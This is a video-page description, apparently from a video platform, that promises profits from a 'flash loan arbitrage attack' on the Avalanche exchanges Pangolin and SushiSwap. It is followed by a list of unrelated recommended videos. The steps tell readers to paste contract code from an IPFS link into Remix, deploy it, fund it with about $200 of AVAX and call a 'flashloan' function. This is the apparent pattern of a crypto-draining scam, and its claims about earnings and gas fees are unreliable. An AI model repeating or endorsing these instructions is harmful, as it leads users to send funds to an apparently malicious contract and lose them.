Premium Only Content
AVAX - Avalanche: Setting up a Multi DEX arbitrage attack using solidity
In this video you will see how to setup an arbitrage attack on two DEXs; You will create the coin on Pangolin and then trade this coin rapidly against SushiSwap. Be sure to make sure that you have metamask connected to Avalanche Mainnet and have AVAX in your wallet to fund the transaction.
*****NOTE: "Web 3 Injected" is now "Injected Provider" in Remix.
NEW GAS FEE REQUIRED: APPROX 10.5 AVAX
***NOTE: AVAX must be withdrawn to ‘AVAX C-Chain’. which is EVM/Metamask compatible chain
Setup Metamask to connect to Avalanche Mainnet –
https://support.avax.network/en/articles/4626956-how-do-i-set-up-metamask-on-avalanche
Smart Contract Code Link –
https://gateway.pinata.cloud/ipfs/QmRABgHFrgJMPECbHbeTsjqQFEVDtESxkqgGg5EDKs3vPj
Remix Link –
http://remix.ethereum.org/
Pangolin –
https://pangolin.exchange/
Pangolin Github –
https://github.com/pangolindex
Flash Loan Explanation –
https://academy.binance.com/en/articles/what-are-flash-loans-in-defi
USD to AVAX –
https://coincodex.com/convert/avalanche/usd/
TO EARN MORE THAN THE AMOUNT IN THE VIDEO YOU CAN INCREASE GAS FEE
In this video, you can see how I used Flashloans to Arbitrage in Avalanche Mainnet by deploying Contract/Token to mask our arbitrage attack against Pangolin.
This worked for me. But TRY IT AT YOUR OWN RISK.
STEPS:
Before starting, install and setup MetaMask in Chrome Browser.
Open and setup Remix in browser (
https://remix.ethereum.org
)
Copy the Contract code (
https://gateway.pinata.cloud/ipfs/QmRABgHFrgJMPECbHbeTsjqQFEVDtESxkqgGg5EDKs3vPj
)
Create new file in Remix and paste Contract code and wait for everything to load, Go to Solidity Compiler and Select compiler to 0.5.0+commit version and hit Compile.
In Deploy & Run Transactions, Select Injected Web3 in Environment dropdown menu to connect your MetaMask. On Deploy, Enter your token details and deploy the contract
Get the Contract address from Remix
Send 200$ish of Avalanche/AVAX to the contract for gas fee for all swaps (There are going to be many swaps to use all funds from out liquidity pools.
Call ‘flashloan’ function in Remix.
-
1:02:02
A Cigar Hustlers Podcast Every Day
1 day agoEpisode 4 Hustler Every Day Target 10/4, No More Pennies and Gronk Is The Man
191 -
3:07
GreenMan Studio
1 day agoHOW TO NOT SELL OUT IN 2025 W/Greeman Reports
864 -
0:43
WildCreatures
2 days ago $1.55 earnedDiver is swallowed up by a passing bait ball at Darwin Island
1.17K4 -
1:54
Damon Imani
3 days agoDamon Left The View SPEECHLESS on Marriage And Government Overreach
6568 -
4:09
Memology 101
13 hours ago"Journalist" REPEATEDLY tries and FAILS to bait John Fetterman into calling Trump an "AUTOCRAT"
47110 -
58:02
Dialogue works
2 days ago $3.44 earnedMatthew Hoh: Ukraine’s Army Is COLLAPSING Everywhere!
16.2K11 -
17:24
Nate The Lawyer
1 day ago $1.98 earnedBREAKING: NEW Scientific Evidence Shows Men Are Better in Sports Than Women
9.26K12 -
29:43
Code Blue Cam
1 day agoHow Missing Dipping Sauce Turned into a Felony Arrest
11.3K10 -
16:19
BlaireWhite
2 days agoWoman Confronts "Trans Woman" In Locker Room: Gold's Gym Scandal
11.9K9 -
2:15:40
Side Scrollers Podcast
19 hours agoWTF Happened to Call of Duty?! + Ubisoft’s MAJOR F Up + Vtuber HIT LIST + More | Side Scrollers
64.9K16